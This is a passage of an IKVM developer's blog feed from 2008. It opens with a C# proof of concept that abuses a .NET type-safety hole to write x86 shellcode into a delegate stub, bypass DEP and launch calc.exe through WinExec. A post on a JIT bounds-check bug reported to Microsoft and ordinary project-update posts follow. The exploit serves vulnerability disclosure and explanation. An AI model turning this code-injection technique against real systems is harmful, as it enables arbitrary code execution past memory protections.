   &amp;nbsp; &lt;font color=#2b91af&gt;UnsafeUnion&lt;/font&gt; uu = &lt;font color=#0000ff&gt;new&lt;/font&gt; &lt;font color=#2b91af&gt;UnsafeUnion&lt;/font&gt;();&lt;br&gt;
   &amp;nbsp; uu.u2 = u2;&lt;br&gt;
   &amp;nbsp; &lt;font color=#0000ff&gt;return&lt;/font&gt; uu.u1;&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   Now for the interesting bit, getting some x86 code to execute:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#2b91af&gt;Union1&lt;/font&gt; u1;&lt;br&gt;
   &lt;font color=#2b91af&gt;Union2&lt;/font&gt; u2 = &lt;font color=#0000ff&gt;new&lt;/font&gt; &lt;font color=#2b91af&gt;Union2&lt;/font&gt;();&lt;br&gt;
   u1 = TypeSystemHole(u2);&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#008000&gt;// u1 and u2 now reference the same object,&lt;br&gt;
   // meaning that we can now convert arbitrary integer&lt;br&gt;
   // into objects or arrays (and v.v.)&lt;br&gt;
   &lt;/font&gt;
   &lt;br&gt;
   &lt;font color=#2b91af&gt;ThreadStart&lt;/font&gt; del = &lt;font color=#0000ff&gt;new &lt;/font&gt;&lt;font color=#2b91af&gt;ThreadStart&lt;/font&gt;(DummyMethod);&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#008000&gt;// A delegate provides an easy way to call the code we're&lt;br&gt;
   // generating. As it turns out, it is also a good way&lt;br&gt;
   // to bypass DEP, because the delegate stub is in writable&lt;br&gt;
   // executable memory.&lt;/font&gt;
   &lt;br&gt;
   &lt;br&gt;
   u2.o = del;&lt;br&gt;
   u1.j = u1.i;&lt;br&gt;
   u1.j = u2.arr[2] - 12;&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#008000&gt;// Make the delegate object accessible via the object[],&lt;br&gt;
   // then get the address the delegate points to and make&lt;br&gt;
   // it accessible via the object[] reference.&lt;br&gt;
   &lt;/font&gt;
   &lt;br&gt;
   &lt;font color=#008000&gt;// The x86 code we're creating is:&lt;br&gt;
   //&lt;br&gt;
   // 6A 05&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push 5 
   &lt;br&gt;
   // 68 xx xx xx xx&amp;nbsp;&amp;nbsp; push offset string "calc.exe"&lt;br&gt;
   // B8 xx xx xx xx&amp;nbsp;&amp;nbsp; mov eax,&amp;lt;address of kernel32!WinExec&amp;gt;&lt;br&gt;
   // FF D0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; call eax&lt;br&gt;
   // C3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
   ret&lt;br&gt;
   // 
   &lt;br&gt;
   &lt;/font&gt;
   &lt;br&gt;
   &lt;font color=#2b91af&gt;MemoryStream&lt;/font&gt; mem = &lt;font color=#0000ff&gt;new &lt;/font&gt;&lt;font color=#2b91af&gt;MemoryStream&lt;/font&gt;();&lt;br&gt;
   &lt;font color=#2b91af&gt;BinaryWriter&lt;/font&gt; bw = &lt;font color=#0000ff&gt;new &lt;/font&gt;&lt;font color=#2b91af&gt;BinaryWriter&lt;/font&gt;(mem);&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0x6A);&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0x05);&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0x68);&lt;br&gt;
   u2.o = &lt;font color=#2b91af&gt;Encoding&lt;/font&gt;.ASCII.GetBytes(&lt;font color=#a31515&gt;"calc.exe\0"&lt;/font&gt;);&lt;br&gt;
   bw.Write(u1.i + 8);&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0xB8);&lt;br&gt;
   bw.Write(GetProcAddressAny(&lt;font color=#a31515&gt;"WinExec"&lt;/font&gt;));&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0xFF);&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0xD0);&lt;br&gt;
   bw.Write((&lt;font color=#0000ff&gt;byte&lt;/font&gt;)0xC3);&lt;br&gt;
   bw.Write(0);&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#008000&gt;// Now that we've created the code, copy it into the delegate&lt;br&gt;
   // stub memory area.&lt;/font&gt;
   &lt;br&gt;
   &lt;br&gt;
   &lt;font color=#0000ff&gt;byte&lt;/font&gt;[] tmp = mem.ToArray();&lt;br&gt;
   &lt;font color=#0000ff&gt;for&lt;/font&gt; (&lt;font color=#0000ff&gt;int&lt;/font&gt; i = 0; i &amp;lt; tmp.Length
   / 4; i++)&lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;u2.arr[1 + i] = &lt;font color=#2b91af&gt;BitConverter&lt;/font&gt;.ToInt32(tmp, i
   * 4);&lt;br&gt;
   }&lt;br&gt;
   &lt;br&gt;
   &lt;font color=#008000&gt;// Invoke the delegate, which will result in running our&lt;br&gt;
   // code, instead of the delegate stub.&lt;br&gt;
   &lt;/font&gt;
   &lt;br&gt;
   del();&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   The missing piece is GetProcAddressAny. It basically searches memory for kernel32
   and looks up the address of the WinExec function.
&lt;/p&gt;
&lt;p&gt;
   The full source is available here: &lt;a href="http://www.frijters.net/TypeSafetyExploitPoC.cs.txt"&gt;TypeSafetyExploitPoC.cs&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Note that this PoC requires full trust and obviously only works on x86, but all the
   ideas are applicable to x64 as well.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=3cc8beef-3424-488d-8429-50e244f15ccc"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=3cc8beef-3424-488d-8429-50e244f15ccc</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=e548c92d-42f7-4691-8b76-83adc59001f8</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=e548c92d-42f7-4691-8b76-83adc59001f8</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=e548c92d-42f7-4691-8b76-83adc59001f8</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=e548c92d-42f7-4691-8b76-83adc59001f8</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      While browsing the <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=8c09fd61-3f26-4555-ae17-3121b4f51d4d&amp;displaylang=en">Rotor</a> sources
      yesterday, I noticed something that looked like a potential security issue. After
      writing some test code I confirmed that it was indeed a problem. Like <a href="/PermaLink.aspx?guid=3b9e044f-673d-462b-a16e-222a862f1df3">last
      time</a>, it's a bug that allows you to compromise type safety.
   </p>
        <p>
      Previously I promised to write more about the issue after the <a href="http://www.microsoft.com/technet/security/bulletin/ms07-040.mspx">fix
      was released</a>, but I never got around to it, partly because security issues aren't
      very exciting anymore after they've been fixed.
   </p>
        <p>
      BTW, my "<a href="/PermaLink.aspx?guid=fc89b4f3-1208-44c2-ad52-9aedec7fac9b">no Microsoft
      bug filing policy</a>" doesn't apply to security issues, so I've notified the Microsoft
      Security Response Center of the issue.
   </p>
        <p>
      Anyway, I thought this would be a good opportunity to look at the previously fixed
      issue and demonstrate how a type safety hole leads to arbitrary code execution and
      makes it trivial to bypass both <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">DEP</a> and <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">ASLR</a>.
   </p>
        <p>
          <b>Discovering the Bug</b>
        </p>
        <p>
      This is the hard part. Contrary to popular belief, Microsoft writes pretty secure
      code nowadays. I found the issue because an IKVM user reported a problem with some
      code that worked with JIT optimizations disabled, but mysteriously failed when JIT
      optimizations were on. Debugging this issue led to misbehaving code similar to this:
   </p>
        <p>
          <code>    <font color="#0000ff">if </font>(arr1[index * 3 + 5] != <font color="#0000ff">null</font>)<br />
          {<br />
            <font color="#2b91af">Union1</font> u1 = arr1[index
      * 3 + 5];</code>
        </p>
        <p>
      Due to a JIT bug the second array indexing expression was incorrectly applied, resulting
      in the ability to read a value outside of the array bounds.
   </p>
        <p>
          <b>Type Safety</b>
        </p>
        <p>
      Due to the predictability of memory allocation in managed code, it is easy to allocate
      two arrays of different types and then use the above bug to access an element from
      one array through a reference to the other array. This gives you the ability to perform
      a cast that otherwise wouldn't be allowed.
   </p>
        <p>
      Once you have this ability, it can be easily abused. For example, you could create
      a class like this:
   </p>
        <p>
          <code>
            <font color="#0000ff">class</font>
            <font color="#2b91af">StringHack</font>
            <br />
      {<br />
          <font color="#0000ff">public int</font> arrayLength;<br />
          <font color="#0000ff">public int</font> stringLength;<br />
          <font color="#0000ff">public char</font> ch1;<br />
          <font color="#0000ff">public char</font> ch2;<br />
      }</code>
        </p>
        <p>
      If you now obtain a reference typed as <code>StringHack</code> to a real string object,
      you have the ability to alter the contents of the string (well, the first two characters
      in this example).
   </p>
        <p>
      However, it's not just the .NET access restrictions that can be bypassed, you can
      also use this trick to execute arbitrary machine code.
   </p>
        <p>
      Next time we'll look at a PoC that, given a type safety hole, will allow you to call
      WinExec to start any application from partially trusted .NET code.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=e548c92d-42f7-4691-8b76-83adc59001f8" />
      </body>
      <title>Critical .NET Security Vulnerability</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=e548c92d-42f7-4691-8b76-83adc59001f8</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=e548c92d-42f7-4691-8b76-83adc59001f8</link>
      <pubDate>Fri, 12 Sep 2008 07:41:53 GMT</pubDate>
      <description>&lt;p&gt;
   While browsing the &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=8c09fd61-3f26-4555-ae17-3121b4f51d4d&amp;amp;displaylang=en"&gt;Rotor&lt;/a&gt; sources
   yesterday, I noticed something that looked like a potential security issue. After
   writing some test code I confirmed that it was indeed a problem. Like &lt;a href="/PermaLink.aspx?guid=3b9e044f-673d-462b-a16e-222a862f1df3"&gt;last
   time&lt;/a&gt;, it's a bug that allows you to&amp;nbsp;compromise type safety.
&lt;/p&gt;
&lt;p&gt;
   Previously I promised to write more about the issue after the &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms07-040.mspx"&gt;fix
   was released&lt;/a&gt;, but I never got around to it, partly because security issues aren't
   very exciting anymore after they've been fixed.
&lt;/p&gt;
&lt;p&gt;
   BTW, my "&lt;a href="/PermaLink.aspx?guid=fc89b4f3-1208-44c2-ad52-9aedec7fac9b"&gt;no Microsoft
   bug filing policy&lt;/a&gt;" doesn't apply to security issues, so I've notified the Microsoft
   Security Response Center of the issue.
&lt;/p&gt;
&lt;p&gt;
   Anyway, I thought this would be a good opportunity to look at the previously fixed
   issue and demonstrate how a type safety hole leads to arbitrary code execution and
   makes it trivial to bypass both &lt;a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention"&gt;DEP&lt;/a&gt; and &lt;a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization"&gt;ASLR&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
   &lt;b&gt;Discovering the Bug&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
   This is the hard part. Contrary to popular belief, Microsoft writes pretty secure
   code nowadays. I found the issue because an IKVM user reported a problem with some
   code that worked with JIT optimizations disabled, but mysteriously failed when JIT
   optimizations were on. Debugging this issue led to misbehaving code similar to this:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;if &lt;/font&gt;(arr1[index * 3 + 5] != &lt;font color=#0000ff&gt;null&lt;/font&gt;)&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#2b91af&gt;Union1&lt;/font&gt; u1 = arr1[index *
   3 + 5];&lt;/code&gt; 
&lt;/p&gt;
&lt;p&gt;
   Due to a JIT bug the second array indexing expression was incorrectly applied, resulting
   in the ability to read a value outside of the array bounds.
&lt;/p&gt;
&lt;p&gt;
   &lt;b&gt;Type Safety&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
   Due to the predictability of memory allocation in managed code, it is easy to allocate
   two arrays of different types and then use the above bug to access an element from
   one array through a reference to the other array. This gives you the ability to perform
   a cast that otherwise wouldn't be allowed.
&lt;/p&gt;
&lt;p&gt;
   Once you have this ability, it can be easily abused. For example, you could create
   a class like this:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;&lt;font color=#0000ff&gt;class&lt;/font&gt; &lt;font color=#2b91af&gt;StringHack&lt;/font&gt;
   &lt;br&gt;
   {&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;public int&lt;/font&gt; arrayLength;&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;public int&lt;/font&gt; stringLength;&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;public char&lt;/font&gt; ch1;&lt;br&gt;
   &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;font color=#0000ff&gt;public char&lt;/font&gt; ch2;&lt;br&gt;
   }&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   If you now obtain a reference typed as &lt;code&gt;StringHack&lt;/code&gt; to a real string object,
   you have the ability to alter the contents of the string (well, the first two characters
   in this example).
&lt;/p&gt;
&lt;p&gt;
   However, it's not just the .NET access restrictions that can be bypassed, you can
   also use this trick to execute arbitrary machine code.
&lt;/p&gt;
&lt;p&gt;
   Next time we'll look at a PoC that, given a type safety hole, will allow you to call
   WinExec to start any application from partially trusted .NET code.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=e548c92d-42f7-4691-8b76-83adc59001f8"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=e548c92d-42f7-4691-8b76-83adc59001f8</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</wfw:commentRss>
      <slash:comments>4</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Lots of cleanup and restructuring. Removed most .NET reflection (almost everything
      is now based on DynamicMethod) and improved support for running in partial trust.
   </p>
        <p>
      Changes since previous development snapshot:
   </p>
        <ul>
          <li>
         Switched almost all code to using generic collections.</li>
          <li>
         Removed our own tracking of LocalBuilders, because on .NET 2.0 LocalBuilder has a
         LocalIndex property.</li>
          <li>
         Added multi target support to ikvmc (although it is currently disabled, because of
         a <a href="/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87">showstopper
         .NET Ref.Emit bug</a>).</li>
          <li>
         Replaced usage of BootstrapClassLoader with actual class loader in static compiler.</li>
          <li>
         Moved generated exception mapping code from ExceptionHelper to Throwable and made
         it slightly less hacky.</li>
          <li>
         Replaced mapxml Hashtable with three statically typed Dictionaries.</li>
          <li>
         Eleminated some (CompilerClassLoader) downcasts by making the type of the DynamicTypeWrapper.classLoader
         field depend on whether we're compiling the runtime or ikvmc.</li>
          <li>
         Removed unused per-type class caching.</li>
          <li>
         Added helper methods to no longer require reflection to instantiate DirectByteBuffer
         from JNI.</li>
          <li>
         Bug fix: dynamic (for unloadable classes) getfield/getstatic/invoke* bytecode compilation
         couldn't handle ghost types.</li>
          <li>
         Changed dynamic (for unloadable classes) bytecode handling to use Java reflection.</li>
          <li>
         Changed JNI reflection to be based on Java reflection (where possible).</li>
          <li>
         Removed "slow" reflection.</li>
          <li>
         Removed MethodWrapper.Invoke().</li>
          <li>
         Removed FieldWrapper.GetValue()/SetValue().</li>
          <li>
         Added ICustomInvoke for the few MethodWrappers that still require custom reflection
         invocation.</li>
          <li>
         Removed class init workaround that is no longer required since .NET 2.0 SP1.</li>
          <li>
         Removed GNU Classpath specific code that I missed.</li>
          <li>
         Switched from obsolete ConfigurationSettings.AppSettings to new ConfigurationManager.AppSettings.</li>
          <li>
         Fixed VFS root directory entry.</li>
          <li>
         Removed no longer needed VM.isBooted() check (VM.isBooted() always returns true now
         on IKVM).</li>
          <li>
         Forked java/nio/Bits.java to remove unsafe code from static initializer.</li>
          <li>
         Moved all creations of DynamicMethod to util method that uniformly handles the fallback
         to the new .NET 2.0 SP1 constructor that support partial trust.</li>
        </ul>
        <p>
          <b>WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.</b>
          <br />
          <br />
      Development snapshots are intended for evaluating and keeping track of where the project
      is going, not for production usage. The binaries have not been extensively tested
      and are not strong named.<br /><br />
      This version supports .NET 2.0 SP1 and Mono 2.0.<br /><br />
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.37.3166.zip">ikvmbin-0.37.3166.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=7e91b51d-6f84-4485-b61f-ea9e068a5fcf" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</link>
      <pubDate>Mon, 01 Sep 2008 07:04:03 GMT</pubDate>
      <description>&lt;p&gt;
   Lots of cleanup and restructuring. Removed most .NET reflection (almost everything
   is now based on DynamicMethod) and improved support for running in partial trust.
&lt;/p&gt;
&lt;p&gt;
   Changes since previous development snapshot:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Switched almost all code to using generic collections.&lt;/li&gt;
   &lt;li&gt;
      Removed our own tracking of LocalBuilders, because on .NET 2.0 LocalBuilder has a
      LocalIndex property.&lt;/li&gt;
   &lt;li&gt;
      Added multi target support to ikvmc (although it is currently disabled, because of
      a &lt;a href="/PermaLink.aspx?guid=afe525f9-1715-4db2-9d71-34892292cb87"&gt;showstopper
      .NET Ref.Emit bug&lt;/a&gt;).&lt;/li&gt;
   &lt;li&gt;
      Replaced usage of BootstrapClassLoader with actual class loader in static compiler.&lt;/li&gt;
   &lt;li&gt;
      Moved generated exception mapping code from ExceptionHelper to Throwable and made
      it slightly less hacky.&lt;/li&gt;
   &lt;li&gt;
      Replaced mapxml Hashtable with three statically typed Dictionaries.&lt;/li&gt;
   &lt;li&gt;
      Eleminated some (CompilerClassLoader) downcasts by making the type of the DynamicTypeWrapper.classLoader
      field depend on whether we're compiling the runtime or ikvmc.&lt;/li&gt;
   &lt;li&gt;
      Removed unused per-type class caching.&lt;/li&gt;
   &lt;li&gt;
      Added helper methods to no longer require reflection to instantiate DirectByteBuffer
      from JNI.&lt;/li&gt;
   &lt;li&gt;
      Bug fix: dynamic (for unloadable classes) getfield/getstatic/invoke* bytecode compilation
      couldn't handle ghost types.&lt;/li&gt;
   &lt;li&gt;
      Changed dynamic (for unloadable classes) bytecode handling to use Java reflection.&lt;/li&gt;
   &lt;li&gt;
      Changed JNI reflection to be based on Java reflection (where possible).&lt;/li&gt;
   &lt;li&gt;
      Removed "slow" reflection.&lt;/li&gt;
   &lt;li&gt;
      Removed MethodWrapper.Invoke().&lt;/li&gt;
   &lt;li&gt;
      Removed FieldWrapper.GetValue()/SetValue().&lt;/li&gt;
   &lt;li&gt;
      Added ICustomInvoke for the few MethodWrappers that still require custom reflection
      invocation.&lt;/li&gt;
   &lt;li&gt;
      Removed class init workaround that is no longer required since .NET 2.0 SP1.&lt;/li&gt;
   &lt;li&gt;
      Removed GNU Classpath specific code that I missed.&lt;/li&gt;
   &lt;li&gt;
      Switched from obsolete ConfigurationSettings.AppSettings to new ConfigurationManager.AppSettings.&lt;/li&gt;
   &lt;li&gt;
      Fixed VFS root directory entry.&lt;/li&gt;
   &lt;li&gt;
      Removed no longer needed VM.isBooted() check (VM.isBooted() always returns true now
      on IKVM).&lt;/li&gt;
   &lt;li&gt;
      Forked java/nio/Bits.java to remove unsafe code from static initializer.&lt;/li&gt;
   &lt;li&gt;
      Moved all creations of DynamicMethod to util method that uniformly handles the fallback
      to the new .NET 2.0 SP1 constructor that support partial trust.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   &lt;b&gt;WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.&lt;/b&gt;
   &lt;br&gt;
   &lt;br&gt;
   Development snapshots are intended for evaluating and keeping track of where the project
   is going, not for production usage. The binaries have not been extensively tested
   and are not strong named.&lt;br&gt;
   &lt;br&gt;
   This version supports .NET 2.0 SP1 and Mono 2.0.&lt;br&gt;
   &lt;br&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.37.3166.zip"&gt;ikvmbin-0.37.3166.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=7e91b51d-6f84-4485-b61f-ea9e068a5fcf"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=7e91b51d-6f84-4485-b61f-ea9e068a5fcf</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</wfw:commentRss>
      <slash:comments>3</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I finished the Cecil.Reflection.Emit prototype of ikvmc. As I, unfortunately, expected
      the performance isn't acceptable. Compiling tools.jar takes approx. 18 seconds with
      the Ref.Emit backend, but takes 51 seconds with the Cecil based backend.
   </p>
        <p>
      Now, I'm not knocking Mono.Cecil because of its performance, because I think the design
      was based on making it easy to load an assembly, tweak it and write it back out again.
      For that application the design makes a lot of sense, but it is less efficient for
      a write only task.
   </p>
        <p>
      However, I did have to conclude that Mono.Cecil is not mature enough for usage with
      ikvmc. I had to write my own custom attribute encoder to work around Mono.Cecil's
      brokenness and I found that it doesn't properly support custom modifiers.
   </p>
        <p>
          <b>What Next</b>
        </p>
        <p>
      Given that neither Ref.Emit nor Cecil look like viable short term strategies for multi
      target support in ikvmc, I think it makes sense to start working on the 0.38 release
      now and put off the splitting of IKVM.OpenJDK.ClassLibrary.dll until the next release.
      I know this will disappoint some people, especially since it grew by about 4.7MB again
      (mostly due to the inclusion of the charsets.jar character encodings).
   </p>
        <p>
      I don't have a timetable, but don't expect the release tomorrow. It'll be a while.
      First OpenJDK6 b12 needs to be released (and integrated) and then a whole lot of testing
      needs to be done.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=afda88af-e2cf-47d6-917b-5f3134b681c1" />
      </body>
      <title>Cecil Conclusion</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</link>
      <pubDate>Wed, 27 Aug 2008 04:11:46 GMT</pubDate>
      <description>&lt;p&gt;
   I finished the Cecil.Reflection.Emit prototype of ikvmc. As I, unfortunately, expected
   the performance isn't acceptable. Compiling tools.jar takes approx. 18 seconds with
   the Ref.Emit backend, but takes 51 seconds with the Cecil based backend.
&lt;/p&gt;
&lt;p&gt;
   Now, I'm not knocking Mono.Cecil because of its performance, because I think the design
   was based on making it easy to load an assembly, tweak it and write it back out again.
   For that application the design makes a lot of sense, but it is less efficient for
   a write only task.
&lt;/p&gt;
&lt;p&gt;
   However, I did have to conclude that Mono.Cecil is not mature enough for usage with
   ikvmc. I had to write my own custom attribute encoder to work around Mono.Cecil's
   brokenness and I found that it doesn't properly support custom modifiers.
&lt;/p&gt;
&lt;p&gt;
   &lt;b&gt;What Next&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
   Given that neither Ref.Emit nor Cecil look like viable short term strategies for multi
   target support in ikvmc, I think it makes sense to start working on the 0.38 release
   now and put off the splitting of IKVM.OpenJDK.ClassLibrary.dll until the next release.
   I know this will disappoint some people, especially since it grew by about 4.7MB again
   (mostly due to the inclusion of the charsets.jar character encodings).
&lt;/p&gt;
&lt;p&gt;
   I don't have a timetable, but don't expect the release tomorrow. It'll be a while.
   First OpenJDK6 b12 needs to be released (and integrated) and then a whole lot of testing
   needs to be done.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=afda88af-e2cf-47d6-917b-5f3134b681c1"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=afda88af-e2cf-47d6-917b-5f3134b681c1</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=c8ee66de-d82a-4383-a285-bef105972b9f</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=c8ee66de-d82a-4383-a285-bef105972b9f</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=c8ee66de-d82a-4383-a285-bef105972b9f</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=c8ee66de-d82a-4383-a285-bef105972b9f</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I prototyped a Reflection.Emit layer for Mono.Cecil and integrated it with ikvmc.
      Preliminary results:
   </p>
        <ul>
          <li>
         It looks like it is feasible to replace "using System.Reflection.Emit;" with "using
         Cecil.Reflection.Emit;" and only require a handful of "#if CECIL"s sprinkled through
         the code. 
      </li>
          <li>
         Mono.Cecil is lacking some functionality required by ikvmc (global methods, multi
         module assemblies, support for calli signatures [AFAICT], support for byte[] arguments
         in custom attributes) 
      </li>
          <li>
         Given the architecture of Mono.Cecil I'm worried that it will perform worse than Reflection.Emit
         (which, on .NET, is already pretty slow).</li>
        </ul>
        <p>
      I'm pretty sure there are more issues waiting to be discovered, but these I found
      while trying to compile a relatively simple .class file. I got it to generate a verifiable
      assembly using the following ikvmc command:
   </p>
        <p>
              <code>ikvmc test.class -target:library
      -nostacktraceinfo</code></p>
        <p>
      If you want to play along, the Cecil.Reflection.Emit layer plus the ikvmc patch (relative
      to current cvs) can be found <a href="http://www.frijters.net/ikvm-cecil.zip">here</a>.
   </p>
        <p>
      At this point I'm not sure what's next. I don't feel working on Mono.Cecil is the
      best use of my time. I may have to put the multi assembly feature of ikvmc on the
      back burner (which also means no progress in splitting up IKVM.OpenJDK.ClassLibrary.dll).
   </p>
        <p>
      On a more possitive note, doing this work made me realize that <code><a href="http://msdn.microsoft.com/en-us/library/system.reflection.emit.constructorbuilder.aspx">ConstructorBuilder</a></code> is
      a useless annoyance and I can simplify some ikvm code by only using <code><a href="http://msdn.microsoft.com/en-us/library/system.reflection.emit.methodbuilder.aspx">MethodBuilder</a></code> (it
      turns out that <code><a href="http://msdn.microsoft.com/en-us/library/system.reflection.emit.typebuilder.definemethod.aspx">DefineMethod</a></code> can
      also be used to define a constructor).
   </p>
        <p>
      Well, I will be able to do this once Mono's <code><a href="http://anonsvn.mono-project.com/viewcvs/trunk/mcs/class/corlib/System.Reflection.Emit/TypeBuilder.cs?view=markup">DefineMethod</a></code> is <a href="https://bugzilla.novell.com/show_bug.cgi?id=416632">fixed</a> so
      that it notices that a constructor is created and not insert another default constructor.
   </p>
        <p>
          <strong>Update:</strong> Zoltan already fixed the Mono bug. Thanks!
   </p>
        <p>
          <strong>Update 2:</strong> Jb Evain pointed out that global methods are supported
      (simply add the methods to the &lt;Module&gt; 
      <MODULE>
         type) and that calli is supported via Mono.Cecil.CallSite.
      </MODULE></p>
